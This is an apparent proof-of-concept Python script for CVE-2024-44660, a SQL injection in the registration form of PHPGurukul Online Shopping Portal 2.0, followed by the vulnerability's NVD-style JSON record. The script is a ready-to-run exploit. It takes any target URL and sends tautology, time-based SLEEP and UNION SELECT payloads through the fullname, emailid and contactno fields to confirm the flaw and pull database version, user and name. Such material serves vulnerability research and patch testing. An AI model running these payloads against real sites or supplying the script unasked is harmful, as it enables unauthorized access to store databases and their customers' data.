CVE-2024-44660

# CVE-2024-44660 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 # Endpoint: login.php (Registration functionality) # Vulnerable Parameters: fullname, emailid, contactno import requests import sys def test_sql_injection(url): """ Test for SQL injection vulnerability in registration form """ target_url = f"{url}/login.php" # SQL Injection payloads for different parameters payloads = { 'fullname': "admin' OR '1'='1", 'emailid': "[email protected]' AND SLEEP(5)-- -", 'contactno': "1234567890' OR '1'='1" } # Normal registration data data = { 'fullname': 'Test User', 'emailid': '[email protected]', 'contactno': '1234567890', 'password': 'TestPass123', 'submit': 'Register' } print(f"[*] Testing target: {target_url}") print("[*] Testing SQL Injection vulnerability...\n") # Test each parameter for param, payload in payloads.items(): test_data = data.copy() test_data[param] = payload print(f"[*] Testing parameter: {param}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, data=test_data, timeout=10) if response.status_code == 200: print(f"[!] Potential vulnerability found in {param}") print(f"[!] Response length: {len(response.text)} bytes\n") else: print(f"[-] No obvious vulnerability detected\n") except requests.exceptions.Timeout: print(f"[!] Time-based blind SQL injection possible in {param}") print(f"[!] Request timed out (5+ seconds)\n") except Exception as e: print(f"[-] Error: {e}\n") # Extract database version using UNION-based injection print("[*] Attempting to extract database information...") union_payload = "' UNION SELECT NULL,version(),user(),database()-- -" test_data = data.copy() test_data['emailid'] = union_payload try: response = requests.post(target_url, data=test_data, timeout=10) if '5.' in response.text or '8.' in response.text: print("[!] Database information extracted successfully") print("[!] Vulnerability confirmed: SQL Injection is exploitable") except: pass if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2024-44660.py <target_url>") print("Example: python cve-2024-44660.py http://localhost:8080") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)

{"cve": {"id": "CVE-2024-44660", "sourceIdentifier": "[email protected]", "published": "2025-11-17T19:16:16.123", "lastModified": "2025-11-18T20:45:53.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the fullname, emailid, and contactno parameters in login.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E358155-68C0-4C86-8359-49F37445DC44"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44660.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/shopping-portal-free-download/", "source": "[email protected]", "tags": ["Product"]}]}}